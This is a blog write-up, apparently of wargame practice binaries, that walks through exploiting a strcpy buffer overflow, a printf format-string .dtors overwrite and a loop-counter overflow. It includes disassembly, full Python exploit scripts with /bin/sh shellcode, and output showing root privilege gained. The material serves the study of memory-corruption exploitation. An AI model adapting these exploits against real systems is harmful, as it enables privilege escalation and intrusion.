During my free time I worked with some old binaries from here. All the binaries are 32-bit executable, stripped and had no modern day protection. I used a OS running 2.6.32 kernel with ASLR disabled.
Stage2 [Buffer Overflow]
stage2 binary copies argv[1] into [ebp-0x64] using strcpy. 108 bytes will overwrite saved EIP. We overwrite it with the address of shellcode and gain control of execution.
0x804842d: lea eax,[ebp-0x64] 0x8048430: push eax 0x8048431: call 0x8048330 <strcpy@plt>Here is the exploit:
#!/usr/bin/env python # stage2.py import os import struct # msfvenom -p linux/x86/exec CMD=/bin/sh -a x86 -b '\x00' shellcode = ("\xba\xc2\xdd\xe1\xd7\xda\xd9\xd9\x74\x24\xf4\x5e\x33\xc9" + "\xb1\x0b\x31\x56\x15\x83\xee\xfc\x03\x56\x11\xe2\x37\xb7" + "\xea\x8f\x2e\x1a\x8b\x47\x7d\xf8\xda\x7f\x15\xd1\xaf\x17" + "\xe5\x45\x7f\x8a\x8c\xfb\xf6\xa9\x1c\xec\x01\x2e\xa0\xec" + "\x3e\x4c\xc9\x82\x6f\xe3\x61\x5b\x27\x50\xf8\xba\x0a\xd6" ) vul = "./stage2" env = {"":shellcode} retaddr = 0xc0000000 - 0x4 - len(vul) - len(shellcode) - 0x2 arg = "A"*104 + struct.pack("<I",retaddr) os.execve(vul,[vul,arg],env)Stage3 [Format string - dtors overwrite] stage3 binary passes argv[1] string directly to printf() resulting in format string vulnerability.
0x8048364: push ebp 0x8048365: mov ebp,esp 0x8048367: sub esp,0x8 0x804836a: mov eax,DWORD PTR [ebp+0x8] 0x804836d: mov DWORD PTR [esp],eax 0x8048370: call 0x8048288 <printf@plt>After finding the offset at which format string in located in stack, I choose to overwrite the dtors with the address of shellcode. Here is the exploit.
#!/usr/bin/env python # stage3.py import os import struct # msfvenom -p linux/x86/exec CMD=/bin/sh -a x86 -b '\x00' shellcode = ("\xba\xc2\xdd\xe1\xd7\xda\xd9\xd9\x74\x24\xf4\x5e\x33\xc9" + "\xb1\x0b\x31\x56\x15\x83\xee\xfc\x03\x56\x11\xe2\x37\xb7" + "\xea\x8f\x2e\x1a\x8b\x47\x7d\xf8\xda\x7f\x15\xd1\xaf\x17" + "\xe5\x45\x7f\x8a\x8c\xfb\xf6\xa9\x1c\xec\x01\x2e\xa0\xec" + "\x3e\x4c\xc9\x82\x6f\xe3\x61\x5b\x27\x50\xf8\xba\x0a\xd6" ) vuln = "./stage3" addr = 0xc0000000 - 0x4 -len(vuln) - len(shellcode) - 0x2 #0xABCD # objdump -s -j .dtors stage3 dtor = 0x8049598 A = (addr >> 24) & 0xff B = (addr >> 16) & 0xff C = (addr >> 8) & 0xff D = (addr >> 0) & 0xff format = struct.pack("<I",dtor) + struct.pack("<I",dtor+1) + struct.pack("<I",dtor+2) + struct.pack("<I",dtor+3) + "XX%."+ str(D+0x0100-18) +"x%106$n%."+ str(C+0x0100-D) +"x%107$n%." + str(B+0x0100-C) +"x%108$n%."+ str(A+0x0100-B) +"x%109$n" #format = "AAAABBBBCCCCDDDDXX" + "%.410x%106$n%.339x%107$n%.256x%108$n%.192x%109$n" env = {"":shellcode} os.execve(vuln,[vuln,format],env) $ id uid=1001(user) gid=1001(user) groups=1001(user) $ python stage3.py ��������XX000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b7ff10400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bffffdd800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080483970# # id uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)Stage4 [Buffer Overflow] stage4 binary has 4 functions with few calls to strncpy() and strncat(). It takes two inputs, argv[1] and HELLOWORLD environment variable. argv[1] string is NUL terminated after 10 bytes but we can overflow the buffer using HELLOWORLD environment variable. Below is the vulnerable function.
0x8048455: mov DWORD PTR [ebp-0xc],0x0 # [ebp-0xc] == i = 0 0x804845c: mov eax,DWORD PTR [ebp+0x8] 0x804845f: mov DWORD PTR [esp],eax 0x8048462: call 0x80483d4 0x8048467: mov eax,DWORD PTR [ebp+0x8] 0x804846a: mov DWORD PTR [esp],eax 0x804846d: call 0x80483f6 0x8048472: mov eax,DWORD PTR [ebp-0xc] 0x8048475: add eax,DWORD PTR [ebp+0x8] # eax = *(i + arg_pointer) # while true: 0x8048478: cmp BYTE PTR [eax],0x0 0x804847b: jne 0x804847f # if(eax != NUL) 0x804847d: jmp 0x804849c 0x804847f: lea eax,[ebp-0x88] 0x8048485: mov edx,eax 0x8048487: add edx,DWORD PTR [ebp-0xc] # edx = addr[ebp-0x88] + i 0x804848a: mov eax,DWORD PTR [ebp-0xc] 0x804848d: add eax,DWORD PTR [ebp+0x8] # eax = *(i + arg_pointer) 0x8048490: movzx eax,BYTE PTR [eax] 0x8048493: mov BYTE PTR [edx],al # *edx = eax 0x8048495: lea eax,[ebp-0xc] 0x8048498: inc DWORD PTR [eax] # i++ 0x804849a: jmp 0x8048472The function copies the input byte by byte into the buffer [ebp-0x88] using a while loop till NUL byte. A counter which is used as array index is located at [ebp-0xc]. When we overflow the buffer, we have to take care how we overwrite this variable. 125th byte overwrites this counter. Values lesser than the value already present in [ebp-0xc] will cause the program to go into infinite loop. I overwrote the counter with 0x7f which will cause the while loop to skip the next 3 bytes, we are actually jumping over this memory area. This is how the stack will look like after overflow
0xffd730a8: 0x41414141 0x41414141 0x41414141 0x41414141 0xffd730b8: 0x41414141 0x00000090 0x41414141 0x41414141 0xffd730c8: 0x41414141 0x41414141 0xffd734e8 0x00000000Notice that the buffer is filled with A's skipping the counter variable. Here is the final exploit:
#!/usr/bin/env python # stage4.py import os import struct shellcode = ( "\xdb\xc3\xd9\x74\x24\xf4\xb8\xf1\x42\x8b\x05\x5b\x33\xc9" + "\xb1\x0b\x31\x43\x1a\x03\x43\x1a\x83\xc3\x04\xe2\x04\x28" + "\x80\x5d\x7f\xff\xf0\x35\x52\x63\x74\x22\xc4\x4c\xf5\xc5" + "\x14\xfb\xd6\x77\x7d\x95\xa1\x9b\x2f\x81\xba\x5b\xcf\x51" + "\x94\x39\xa6\x3f\xc5\xce\x50\xc0\x4e\x62\x29\x21\xbd\x04" ) vuln = "./stage4" addr = 0xc0000000 - 0x4 - len(vuln) - len(shellcode) - 0x2 payload = "A"*124 + struct.pack("B",0x7f) + "PAD" + "A"*12 + struct.pack("<I",addr) env = {"":shellcode,"HELLOWORLD":payload} arg = "JUNK" os.execve(vuln,[vuln,arg],env)stage5 is very much similar to stage2.
No comments :
Post a Comment